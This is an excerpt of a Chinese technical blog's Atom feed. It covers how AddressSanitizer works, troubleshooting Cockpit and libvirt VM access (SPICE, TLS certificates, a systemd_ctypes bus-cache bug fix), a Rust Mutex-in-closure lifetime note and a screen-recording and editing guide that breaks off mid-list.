&lt;p&gt;ASan 告诉我们程序触发了一个堆越界 (heap-buffer-overflow) 的报错，尝试在地址 0x602000000014 写入 4 字节数据。随后打印出出错位置的堆栈。第 10 行 ASan 还告诉我们越界的内存是在哪个位置被分配的，随后打印出分配位置的堆栈。&lt;&#x2F;p&gt;
&lt;p&gt;常用参数&lt;&#x2F;p&gt;
&lt;p&gt;ASan 的参数有&lt;em&gt;编译参数&lt;&#x2F;em&gt;和&lt;em&gt;运行时参数&lt;&#x2F;em&gt;两种。常用的编译参数有：&lt;&#x2F;p&gt;
&lt;p&gt;运行时参数通过环境变量 &lt;code&gt;ASAN_OPTIONS&lt;&#x2F;code&gt; 设置，每个参数的格式为 &lt;code&gt;FLAG=VAL&lt;&#x2F;code&gt;，参数之间用冒号 &lt;code&gt;:&lt;&#x2F;code&gt; 分隔。例如：&lt;&#x2F;p&gt;
&lt;p&gt;常用的运行时参数有：&lt;&#x2F;p&gt;
&lt;p&gt;因为 ASan 默认会注册 SIGSEGV 的信号处理器，所以当程序发生段错误时，会触发 ASan 的报错而不是直接 coredump。要想让程序像往常一样产生 coredump，可以指定参数 &lt;code&gt;handle_segv=0&lt;&#x2F;code&gt; 不注册信号处理器，和 &lt;code&gt;disable_coredump=0&lt;&#x2F;code&gt; 启用 coredump。&lt;&#x2F;p&gt;
&lt;p&gt;有些函数可能会做一些比较 hack 操作，又想绕过 Asan 的越界检测。这可以通过声明属性 &lt;code&gt;__attribute__((no_sanitize_address))&lt;&#x2F;code&gt; 实现。例如&lt;&#x2F;p&gt;
&lt;p&gt;这样即使 &lt;code&gt;chunk_size&lt;&#x2F;code&gt; 访问越界，ASan 也不会报错。&lt;&#x2F;p&gt;
&lt;p&gt;更多参数可参考&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;github.com&#x2F;google&#x2F;sanitizers&#x2F;wiki&#x2F;AddressSanitizerFlags&quot;&gt;官方文档&lt;&#x2F;a&gt;。&lt;&#x2F;p&gt;
&lt;p&gt;原理简介&lt;&#x2F;p&gt;
&lt;p&gt;ASan 需要检测的是应用程序是否访问已向操作系统申请、但未分配给应用程序的内存，也就是下图中红色的部分。至于图中白色的部分，也就是未向操作系统申请的内存，是不需要检测的（一旦访问就会触发段错误）。&lt;&#x2F;p&gt;
&lt;p&gt;&lt;img src=&quot;&#x2F;obsidian&#x2F;assets&#x2F;address-sanitizer&#x2F;asan-redzone-memory-map.png&quot; alt=&quot;&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;p&gt;ASan 会 hook 标准内存分配函数（malloc、free 等），所有未被分配和已释放的区域都会标记为红区。所有内存的访问都会被检查，如果访问了红区的内存，asan 会立刻报错。例如，原本简单的内存访问&lt;&#x2F;p&gt;
&lt;p&gt;在启用 ASan 后，会生成类似如下的代码：&lt;&#x2F;p&gt;
&lt;p&gt;为了标记内存是否为红区，ASan 将每 8 字节内存映射成 1 字节的 shadow 内存，在 shadow 内存中标记这 8 字节内存的使用情况。64 位系统中，地址 p 对应的 shallow 内存的地址为 &lt;code&gt;(p &amp;gt;&amp;gt; 3) + 0x7fff8000&lt;&#x2F;code&gt;。&lt;&#x2F;p&gt;
&lt;p&gt;&lt;img src=&quot;&#x2F;obsidian&#x2F;assets&#x2F;address-sanitizer&#x2F;asan-shadow-memory-layout.png&quot; alt=&quot;&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;p&gt;因为 malloc 分配的内存必然是 8 字节对齐的。这样的话只有 9 种情况：&lt;&#x2F;p&gt;
&lt;p&gt;例如 &lt;code&gt;malloc(11)&lt;&#x2F;code&gt; 分配 11 字节内存的情况，如下图所示。第一个 8 字节都不在红区，对应的 shadow 内存值为 0；第二个 8 字节前 3 字节不在红区，后 5 字节在红区，对应的 shadow 内存值为 3。第三个 8 字节都在红区，对应的 shadow 内存值为负数。&lt;&#x2F;p&gt;
&lt;p&gt;&lt;img src=&quot;&#x2F;obsidian&#x2F;assets&#x2F;address-sanitizer&#x2F;asan-shadow-memory-layout-2.png&quot; alt=&quot;&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;p&gt;这样，整个地址空间被分为 5 个部分。HighMem 对应 HighShadow，LowMem 对应 LowShadow。如果一个地址对应的 shallow 内存在 ShadowGap 区域，则这个地址不可访问。因为 64 位机器的虚拟内存地址空间很大，这样划分后地址仍然很够用。&lt;&#x2F;p&gt;
&lt;table&gt;&lt;thead&gt;&lt;tr&gt;&lt;th&gt;地址区间&lt;&#x2F;th&gt;&lt;th&gt;区域&lt;&#x2F;th&gt;&lt;&#x2F;tr&gt;&lt;&#x2F;thead&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td&gt;[0x10007fff8000, 0x7fffffffffff]&lt;&#x2F;td&gt;&lt;td&gt;HighMem&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;[0x02008fff7000, 0x10007fff7fff]&lt;&#x2F;td&gt;&lt;td&gt;HighShadow&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;[0x00008fff7000, 0x02008fff6fff]&lt;&#x2F;td&gt;&lt;td&gt;ShadowGap&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;[0x00007fff8000, 0x00008fff6fff]&lt;&#x2F;td&gt;&lt;td&gt;LowShadow&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;[0x000000000000, 0x00007fff7fff]&lt;&#x2F;td&gt;&lt;td&gt;LowMem&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;&#x2F;tbody&gt;&lt;&#x2F;table&gt;
&lt;p&gt;这样，每当程序要访问内存时，ASan 都会做如下检查：&lt;&#x2F;p&gt;
&lt;p&gt;假设某 8 字节内存后 3 字节在红区，程序要从第 4 字节开始访问两字节，如下图所示。那么有 address % 8 = 4，last = 4 + 2 - 1 = 5 &amp;gt;= shadow，因此这次访问是越界访问，ASan 就会报错。&lt;&#x2F;p&gt;
&lt;p&gt;&lt;img src=&quot;&#x2F;obsidian&#x2F;assets&#x2F;address-sanitizer&#x2F;asan-shadow-check-redzone.png&quot; alt=&quot;&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;p&gt;了解了 ASan 原理之后就能更好地理解 ASan 的报错信息。ASan 报错时会打印出报错位置的 shadow 内存情况：&lt;&#x2F;p&gt;
&lt;p&gt;程序试图在 0x602000000014 写入 4 字节数据。 0x602000000014 对应的 shadow 内存地址为 (0x602000000014 &amp;gt;&amp;gt; 3) + 0x7fff8000 = 0x0c047fff8002，也就是上面 &lt;code&gt;[04]&lt;&#x2F;code&gt; 的位置。0x602000000014 % 8 = 4，从这 8 字节的第 4 字节开始访问四字节。而这 8 字节后四字节都在红区，因此访问越界。&lt;&#x2F;p&gt;
&lt;p&gt;&lt;strong&gt;参考资料:&lt;&#x2F;strong&gt;  &lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;github.com&#x2F;google&#x2F;sanitizers&#x2F;wiki&#x2F;AddressSanitizer&quot;&gt;https:&#x2F;&#x2F;github.com&#x2F;google&#x2F;sanitizers&#x2F;wiki&#x2F;AddressSanitizer&lt;&#x2F;a&gt;&lt;&#x2F;p&gt;
</content>
        
    </entry>
    <entry xml:lang="en">
        <title>cockpit管理qemu虚拟机</title>
        <published>2025-10-09T20:04:52+08:00</published>
        <updated>2026-08-10T00:00:00+00:00</updated>
        
        <author>
          <name>
            
              moxuetianya
            
          </name>
        </author>
        
        <link rel="alternate" type="text/html" href="https://vercel.juzhong.asia/2025/10/cockpit管理qemu虚拟机/"/>
        <id>https://vercel.juzhong.asia/2025/10/cockpit管理qemu虚拟机/</id>
        
        <content type="html" xml:base="https://vercel.juzhong.asia/2025/10/cockpit管理qemu虚拟机/">&lt;h1 id=&quot;gao-xiao-deng-lu-xu-ni-ji-gui&quot;&gt;高效登录虚拟机GUI&lt;&#x2F;h1&gt;
&lt;p&gt;使用virt-viewer客户端spice协议登录&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;bash&quot; class=&quot;language-bash &quot;&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;apt install virt-viewer
virt-viewer --reconnect win11
virt-viewer --wait win11
virsh domdisplay win11
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;h1 id=&quot;lian-jie-ju-yu-wang-de-xu-ni-ji&quot;&gt;连接局域网的虚拟机&lt;&#x2F;h1&gt;
&lt;pre data-lang=&quot;bash&quot; class=&quot;language-bash &quot;&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;#1. 如果远程宿主机也在跑 libvirtd 并允许远程连接，你还可以直接用：
# 这样 virt-viewer 会先通过 libvirt 查询到 SPICE 端口，然后自动帮你连上去（不用手动写端口）。
# 通常推荐这种方式，安全性更好（走 SSH）
virt-viewer -c qemu+ssh:&amp;#x2F;&amp;#x2F;user@&amp;lt;宿主机IP&amp;gt;&amp;#x2F;system &amp;lt;VM名称或UUID&amp;gt;
virt-viewer -c qemu+ssh:&amp;#x2F;&amp;#x2F;peter@192.168.7.99&amp;#x2F;system win11

#2. 开放spice监听外部地址
# 修改listen=&amp;#x27;0.0.0.0&amp;#x27; 表示允许外部访问（默认可能是 127.0.0.1，那就只能本机连）。
# port 可以固定（如 5901）或自动分配
sudo virsh list
sudo virsh dominfo win11
sudo grep -C 0 --group-separator=&amp;quot;======&amp;quot; listen &amp;#x2F;etc&amp;#x2F;libvirt&amp;#x2F;qemu&amp;#x2F;win11.xml
sudo sed -i&amp;#x27;&amp;#x27; &amp;#x27;s&amp;#x2F;127.0.0.1&amp;#x2F;0.0.0.0&amp;#x2F;&amp;#x27; &amp;#x2F;etc&amp;#x2F;libvirt&amp;#x2F;qemu&amp;#x2F;win11.xml
# 一般需要配置密码，否则太不安全
## &amp;lt;graphics type=&amp;#x27;spice&amp;#x27; port=&amp;#x27;5901&amp;#x27; listen=&amp;#x27;0.0.0.0&amp;#x27;&amp;gt;
##   &amp;lt;passwd&amp;gt;123&amp;lt;&amp;#x2F;passwd&amp;gt;
## &amp;lt;&amp;#x2F;graphics&amp;gt;
virt-viewer --spice-uri spice:&amp;#x2F;&amp;#x2F;192.168.7.99:5901 --spice-password 123

cat &amp;lt;&amp;lt;EOF &amp;gt; win11.vv
[virt-viewer]
type=spice
host=192.168.7.99
port=5901
password=123
delete-this-file=1
fullscreen=0
EOF
remote-viewer vm.vv
# 或者直接双击执行

# 可能的问题
# 音频&amp;#x2F;USB 不工作 SPICE 的辅助通道（如 5902）可能被防火墙阻断，需开放连续端口范围
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;h1 id=&quot;qi-dong-wen-ti-pai-cha&quot;&gt;启动问题排查&lt;&#x2F;h1&gt;
&lt;ul&gt;
&lt;li&gt;从debian12 升级到debian13系统后， cockpit的web页面登录失败&lt;&#x2F;li&gt;
&lt;li&gt;&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;pre data-lang=&quot;bash&quot; class=&quot;language-bash &quot;&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;sudo systemctl status cockpit.service
# 2月 03 14:00:57 xiao99 cockpit-tls[2028483]: cockpit-tls: gnutls_handshake failed: A TLS fatal alert has been received.
# 2月 03 14:01:06 xiao99 cockpit-tls[2028483]: cockpit-tls: gnutls_handshake failed: A TLS fatal alert has been received.

# 另外网页会自动刷行页面，后续的cockpit.socket 会崩溃，出现另一个报错信息, 这个应该不是根因
# Dependency failed for cockpit.service - Cockpit Web Service.

gnutls-cli --insecure -p 9090 localhost
# Processed 0 CA certificate(s).
# Resolving &amp;#x27;localhost:9090&amp;#x27;...
# Connecting to &amp;#x27;127.0.0.1:9090&amp;#x27;...
# *** Fatal error: Error in the pull function.

echo -e &amp;quot;GET &amp;#x2F; HTTP&amp;#x2F;1.0\r\n\r\n&amp;quot; | socat - OPENSSL:127.0.0.1:9090,verify=0
# 2026&amp;#x2F;02&amp;#x2F;03 14:18:00 socat[2106042] W refusing to set empty SNI host name
# 2026&amp;#x2F;02&amp;#x2F;03 14:18:00 socat[2106042] W SSL_connect(): Connection reset by peer
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;h2 id=&quot;zheng-shu-wen-ti-jie-jue&quot;&gt;证书问题解决&lt;&#x2F;h2&gt;
&lt;pre data-lang=&quot;bash&quot; class=&quot;language-bash &quot;&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;sudo systemd-run \
  --unit=cockpit-cert-debug \
  --pty \
  -p RuntimeDirectory=cockpit&amp;#x2F;tls \
  -p WorkingDirectory=&amp;#x2F; \
  &amp;#x2F;usr&amp;#x2F;lib&amp;#x2F;cockpit&amp;#x2F;cockpit-certificate-ensure --for-cockpit-tls
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;pre data-lang=&quot;bash&quot; class=&quot;language-bash &quot;&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;sudo systemctl reset-failed cockpit-debug.service
sudo systemd-run \
  --unit=cockpit-debug \
  --pty \
  -p WorkingDirectory=&amp;#x2F;run \
  -p RuntimeDirectory=cockpit&amp;#x2F;tls \
  -p DynamicUser=yes \
  -p User=cockpit-systemd-service \
  -p Group=cockpit-wsinstance-socket \
  -p NoNewPrivileges=yes \
  -p ProtectSystem=strict \
  -p PrivateDevices=yes \
  -p ProtectKernelTunables=yes \
  -p MemoryDenyWriteExecute=yes \
  -p PrivateIPC=yes \
  -p PrivateNetwork=yes \
  &amp;#x2F;usr&amp;#x2F;lib&amp;#x2F;cockpit&amp;#x2F;cockpit-tls

&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;pre data-lang=&quot;bash&quot; class=&quot;language-bash &quot;&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;sudo systemctl enable --now \
  cockpit.socket \
  cockpit-wsinstance-http.socket \
  cockpit-wsinstance-https-factory.socket
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;h1 id=&quot;xu-ni-ji-biao-qian-bu-xian-shi&quot;&gt;虚拟机标签不显示&lt;&#x2F;h1&gt;
&lt;p&gt;现象：登录 Cockpit 后左侧导航只有 概览&#x2F;日志&#x2F;存储&#x2F;网络&#x2F;用户账户&#x2F;服务，没有「虚拟机」标签。&lt;&#x2F;p&gt;
&lt;p&gt;原因：未安装 &lt;code&gt;cockpit-machines&lt;&#x2F;code&gt; 包（虚拟机页面的功能由它提供，与 libvirt 本体无关）。&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;bash&quot; class=&quot;language-bash &quot;&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;# 查看已装 cockpit 组件
dpkg -l | grep cockpit

sudo apt install cockpit-machines
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;安装后强制刷新浏览器（Ctrl+Shift+R）即可出现「虚拟机器」标签。
注意：Ubuntu 24.04 若 cockpit 核心来自 backports（如 362），建议一并安装 backports 版对齐版本，避免旧版页面与新版 bridge 不兼容：&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;bash&quot; class=&quot;language-bash &quot;&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;sudo apt install cockpit-machines&amp;#x2F;noble-backports
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;h1 id=&quot;deng-lu-duan-kai-zi-qian-zheng-shu-guo-qi-zi-dong-zhong-xin-sheng-cheng&quot;&gt;登录断开：自签证书过期自动重新生成&lt;&#x2F;h1&gt;
&lt;p&gt;现象：前一天还能打开 Cockpit，今天突然「已断开连接 &#x2F; 服务器已关闭了连接」。服务器日志里大量：&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;bash&quot; class=&quot;language-bash &quot;&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;cockpit-tls: gnutls_handshake failed: A TLS fatal alert has been received.
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;排查发现 &lt;code&gt;&#x2F;etc&#x2F;cockpit&#x2F;ws-certs.d&#x2F;&lt;&#x2F;code&gt; 下的自签证书在当天被重新生成了（旧证书过期）：&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;bash&quot; class=&quot;language-bash &quot;&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;ls -la &amp;#x2F;etc&amp;#x2F;cockpit&amp;#x2F;ws-certs.d&amp;#x2F;
openssl x509 -in &amp;#x2F;etc&amp;#x2F;cockpit&amp;#x2F;ws-certs.d&amp;#x2F;0-self-signed.cert -noout -dates
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;浏览器缓存&#x2F;信任的是旧证书，服务器换了新证书后 TLS 握手被浏览器直接掐断，表现就是「已断开连接」。这与上面 Debian 升级导致的证书问题根因不同（那次是升级破坏了证书文件，这次是正常到期轮换）。&lt;&#x2F;p&gt;
&lt;p&gt;解决（浏览器侧操作）：&lt;&#x2F;p&gt;
&lt;ol&gt;
&lt;li&gt;隐身窗口打开 &lt;code&gt;https:&#x2F;&#x2F;&amp;lt;ip&amp;gt;:9090&lt;&#x2F;code&gt;，出现&quot;您的连接不是私密连接&quot;时点 高级 → 继续前往&lt;&#x2F;li&gt;
&lt;li&gt;若曾把旧证书导入系统&#x2F;浏览器信任库，删除旧记录&lt;&#x2F;li&gt;
&lt;li&gt;清除该站点的缓存&#x2F;站点数据&lt;&#x2F;li&gt;
&lt;&#x2F;ol&gt;
&lt;p&gt;服务端验证连通性：&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;bash&quot; class=&quot;language-bash &quot;&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;curl -sk -o &amp;#x2F;dev&amp;#x2F;null -w &amp;#x27;HTTP %{http_code}\n&amp;#x27; https:&amp;#x2F;&amp;#x2F;localhost:9090&amp;#x2F;
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;h1 id=&quot;xu-ni-ji-ye-mian-fu-wu-qi-yi-guan-bi-liao-lian-jie-pybridge-dan-li-huan-cun-bug&quot;&gt;虚拟机页面「服务器已关闭了连接」：pybridge 单例缓存 bug&lt;&#x2F;h1&gt;
&lt;p&gt;现象：其他标签都正常，唯独点「虚拟机」后整个会话断开，页面显示「已断开连接 &#x2F; 服务器已关闭了连接」+ 重新连接按钮。每次点都崩，可稳定复现。&lt;&#x2F;p&gt;
&lt;h2 id=&quot;pai-cha-guo-cheng&quot;&gt;排查过程&lt;&#x2F;h2&gt;
&lt;ol&gt;
&lt;li&gt;服务器日志（journalctl）看到 bridge 崩溃：&lt;&#x2F;li&gt;
&lt;&#x2F;ol&gt;
&lt;pre data-lang=&quot;bash&quot; class=&quot;language-bash &quot;&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;journalctl -u cockpit-session@ -n 50
# cockpit.protocol.CockpitProtocolError: channel is already open
#   File &amp;quot;...&amp;#x2F;cockpit&amp;#x2F;router.py&amp;quot;, line 281, in channel_control_received
# OSError: [Errno 22] sd_bus_attach_event: Invalid argument
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;ol start=&quot;2&quot;&gt;
&lt;li&gt;检查运行中 bridge 的环境，发现缺少 &lt;code&gt;XDG_RUNTIME_DIR&lt;&#x2F;code&gt; 和 &lt;code&gt;DBUS_SESSION_BUS_ADDRESS&lt;&#x2F;code&gt;：&lt;&#x2F;li&gt;
&lt;&#x2F;ol&gt;
&lt;pre data-lang=&quot;bash&quot; class=&quot;language-bash &quot;&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;tr &amp;#x27;\0&amp;#x27; &amp;#x27;\n&amp;#x27; &amp;lt; &amp;#x2F;proc&amp;#x2F;&amp;lt;bridge-pid&amp;gt;&amp;#x2F;environ
# 只有 XDG_SESSION_CLASS&amp;#x2F;XDG_SESSION_TYPE&amp;#x2F;HOME&amp;#x2F;PATH
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;ol start=&quot;3&quot;&gt;
&lt;li&gt;
&lt;p&gt;干净环境复现：&lt;code&gt;sd_bus_default_user&lt;&#x2F;code&gt; 报 &lt;code&gt;No medium found&lt;&#x2F;code&gt;（ENOMEDIUM）——web 会话没有 session bus。&lt;code&gt;&#x2F;etc&#x2F;pam.d&#x2F;cockpit&lt;&#x2F;code&gt; 只有 &lt;code&gt;pam_unix&lt;&#x2F;code&gt;，没有 &lt;code&gt;pam_systemd&lt;&#x2F;code&gt;，所以 bridge 拿不到用户会话总线地址。&lt;&#x2F;p&gt;
&lt;&#x2F;li&gt;
&lt;li&gt;
&lt;p&gt;给 bridge 打临时日志补丁（router.py 记录重复打开的 channel id，dbus.py 记录打开的 bus&#x2F;name），再触发一次崩溃，抓到决定性证据：&lt;&#x2F;p&gt;
&lt;&#x2F;li&gt;
&lt;&#x2F;ol&gt;
&lt;pre data-lang=&quot;bash&quot; class=&quot;language-bash &quot;&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;# DBG dbus-open channel=1:6!6 bus=session name=org.libvirt superuser=None
#   → attach_event EINVAL（异步异常，channel 残留在 open_channels，无 close 响应）
# DBG channel=1:6!6 already-open message={&amp;#x27;bus&amp;#x27;: &amp;#x27;session&amp;#x27;, &amp;#x27;payload&amp;#x27;: &amp;#x27;dbus-json3&amp;#x27;, &amp;#x27;name&amp;#x27;: &amp;#x27;org.libvirt&amp;#x27;, ...}
#   → 页面超时后重试同一 channel id → CockpitProtocolError → bridge 死亡
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;h2 id=&quot;gen-yin&quot;&gt;根因&lt;&#x2F;h2&gt;
&lt;p&gt;崩溃链完整还原：&lt;&#x2F;p&gt;
&lt;ol&gt;
&lt;li&gt;会话内第一个 session bus 通道（如日志页的 &lt;code&gt;org.freedesktop.systemd1&lt;&#x2F;code&gt;）调用 &lt;code&gt;sd_bus_default_user&lt;&#x2F;code&gt; 失败（ENOMEDIUM），但 &lt;code&gt;systemd_ctypes&#x2F;bus.py&lt;&#x2F;code&gt; 的 &lt;code&gt;default_user()&lt;&#x2F;code&gt; &lt;strong&gt;先把空壳 Bus() 写入了单例缓存&lt;&#x2F;strong&gt;，失败后也不清除：&lt;pre data-lang=&quot;python&quot; class=&quot;language-python &quot;&gt;&lt;code class=&quot;language-python&quot; data-lang=&quot;python&quot;&gt;if Bus._default_user_instance is None:
    Bus._default_user_instance = Bus()      # 先赋值（空壳！）
    Bus._default_user(byref(...))           # 失败时异常，但空壳已缓存
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;&#x2F;li&gt;
&lt;li&gt;虚拟机页打开 &lt;code&gt;org.libvirt&lt;&#x2F;code&gt; session 通道（第二个 session 通道），拿到缓存的空 bus → &lt;code&gt;attach_event(NULL)&lt;&#x2F;code&gt; 返回 EINVAL → channel 半开残留在路由表&lt;&#x2F;li&gt;
&lt;li&gt;页面收不到 ready&#x2F;close 响应，超时重试同一 channel id → router 抛 &lt;code&gt;CockpitProtocolError(&#x27;channel is already open&#x27;)&lt;&#x2F;code&gt; → 整个 bridge 进程崩溃 → 前端「服务器已关闭了连接」&lt;&#x2F;li&gt;
&lt;&#x2F;ol&gt;
&lt;h2 id=&quot;xiu-fu&quot;&gt;修复&lt;&#x2F;h2&gt;
&lt;p&gt;只把成功创建的连接写入缓存（&lt;code&gt;default_user&lt;&#x2F;code&gt;&#x2F;&lt;code&gt;default_system&lt;&#x2F;code&gt; 同样处理）：&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;python&quot; class=&quot;language-python &quot;&gt;&lt;code class=&quot;language-python&quot; data-lang=&quot;python&quot;&gt;@staticmethod
def default_user(attach_event: bool = True) -&amp;gt; &amp;#x27;Bus&amp;#x27;:
    if Bus._default_user_instance is None:
        instance = Bus()
        Bus._default_user(byref(instance))
        if attach_event:
            instance.attach_event(None, 0)
        Bus._default_user_instance = instance
    return Bus._default_user_instance
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;修复后 session 通道干净地返回 ChannelError，虚拟机页按设计回落到 system bus（&lt;code&gt;superuser: &quot;try&quot;&lt;&#x2F;code&gt;），虚拟机列表正常加载。&lt;&#x2F;p&gt;
&lt;h2 id=&quot;jing-yan&quot;&gt;经验&lt;&#x2F;h2&gt;
&lt;ul&gt;
&lt;li&gt;判定顺序：先看服务器日志定位崩溃点，再看 bridge 进程环境找缺失依赖，最后用临时日志补丁抓决定性证据&lt;&#x2F;li&gt;
&lt;li&gt;&lt;code&gt;systemd_ctypes&lt;&#x2F;code&gt; 的单例模式「先赋值后初始化」是隐患，任何初始化失败都会污染缓存——排查时可先怀疑这类模式&lt;&#x2F;li&gt;
&lt;li&gt;复现脚本（模拟 bridge 协议驱动 channel 打开）能验证修复，但要记得模拟浏览器的「重试」行为，否则不会触发崩溃&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
</content>
        
    </entry>
    <entry xml:lang="en">
        <title>rust关于生命周期: Mutex Fn</title>
        <published>2025-10-09T16:23:32+08:00</published>
        <updated>2025-10-09T16:23:32+08:00</updated>
        
        <author>
          <name>
            
              moxuetianya
            
          </name>
        </author>
        
        <link rel="alternate" type="text/html" href="https://vercel.juzhong.asia/2025/10/rust关于生命周期: Mutex Fn/"/>
        <id>https://vercel.juzhong.asia/2025/10/rust关于生命周期: Mutex Fn/</id>
        
        <content type="html" xml:base="https://vercel.juzhong.asia/2025/10/rust关于生命周期: Mutex Fn/">&lt;h1 id=&quot;yu-dao-de-wen-ti&quot;&gt;遇到的问题&lt;&#x2F;h1&gt;
&lt;pre data-lang=&quot;rust&quot; class=&quot;language-rust &quot;&gt;&lt;code class=&quot;language-rust&quot; data-lang=&quot;rust&quot;&gt;let mut b = SslConnector::builder(SslMethod::tls_client()).map_err(|e|e.to_string())?;
b.set_verify(SslVerifyMode::NONE);
if let Some(file) = &amp;amp;config.sshkeylogfile {
    let file = OpenOptions::new()
        .create(true)
        .append(true)
        .open(file)
        .map_err(|e|e.to_string())?;
    let file = Mutex::new(file);

    &amp;#x2F;&amp;#x2F; 重点这里： 
    &amp;#x2F;&amp;#x2F; 1. 即需要move将file的生命周期延长
    &amp;#x2F;&amp;#x2F; 2. 又需要file.lock().unwrap() 这样使用捕获的变量， 这样才能多次调用
    &amp;#x2F;&amp;#x2F; 可以理解为 struct Fn { file: TFile }, Fn 结构通过move保存了值类型file， 同时使用Mutex保证了内部可变性？？？
    b.set_keylog_callback(move |_ssl, str| {
        &amp;#x2F;&amp;#x2F; let file = file; &amp;#x2F;&amp;#x2F; 这样调用一次就消耗了file,不能多次调用这个回调
        let mut file = file.lock().unwrap();
        let _ = file.write_all(str.as_bytes());
        let _ = file.write_all(b&amp;quot;\n&amp;quot;);
    });
}
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
</content>
        
    </entry>
    <entry xml:lang="en">
        <title>linux 录屏并视频剪辑进行标注</title>
        <published>2025-10-09T14:14:57+08:00</published>
        <updated>2025-10-09T14:14:57+08:00</updated>
        
        <author>
          <name>
            
              moxuetianya
            
          </name>
        </author>
        
        <link rel="alternate" type="text/html" href="https://vercel.juzhong.asia/2025/10/linux 录屏并视频剪辑进行标注/"/>
        <id>https://vercel.juzhong.asia/2025/10/linux 录屏并视频剪辑进行标注/</id>
        
        <content type="html" xml:base="https://vercel.juzhong.asia/2025/10/linux 录屏并视频剪辑进行标注/">&lt;h1 id=&quot;jie-ping-lu-ping-gong-ju&quot;&gt;截屏、录屏工具&lt;&#x2F;h1&gt;
&lt;p&gt;录屏软件使用ubuntu gnome自带的截屏工具&lt;&#x2F;p&gt;
&lt;ol&gt;
&lt;li&gt;直接PriSc 键即可开启&lt;&#x2F;li&gt;
&lt;li&gt;选择区域&lt;&#x2F;li&gt;
&lt;li&gt;开始录屏即可&lt;&#x2F;li&gt;
&lt;&#x2F;ol&gt;
&lt;h1 id=&quot;shi-pin-jian-ji&quot;&gt;视频剪辑&lt;&#x2F;h1&gt;
&lt;p&gt;使用开源的shotcut进行简单的视频剪辑&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;bash&quot; class=&quot;language-bash &quot;&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;apt install shotcut
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;ol&gt;
&lt;li&gt;打开shotcut后可以直接拖拽视频文件到软件中
可能会遇到视频需要预处理的情况， 根据情况正常处理即可
&lt;img src=&quot;&#x2F;images&#x2F;2025-10-09-14-31-08.png&quot; alt=&quot;视频预处理&quot; &#x2F;&gt;&lt;&#x2F;li&gt;
&lt;li&gt;从播放列表中拖拽视频到[时间线]轨道
注意视频在时间线上是可以左右拖动的， 如果没有顶格左边， 则会在开始插入黑屏？！
&lt;img src=&quot;&#x2F;images&#x2F;2025-10-09-14-33-33.png&quot; alt=&quot;时间线&quot; &#x2F;&gt;&lt;&#x2F;li&gt;
&lt;li&gt;复制一条轨道V2， 并复制视频放置到轨道V2上
现在两条轨道的视频一样
&lt;img src=&quot;&#x2F;images&#x2F;2025-10-09-14-58-40.png&quot; alt=&quot;复制轨道&quot; &#x2F;&gt;&lt;&#x2F;li&gt;
&lt;li&gt;轨道V1在下层， 轨道V2在上层， 并分别添加滤镜
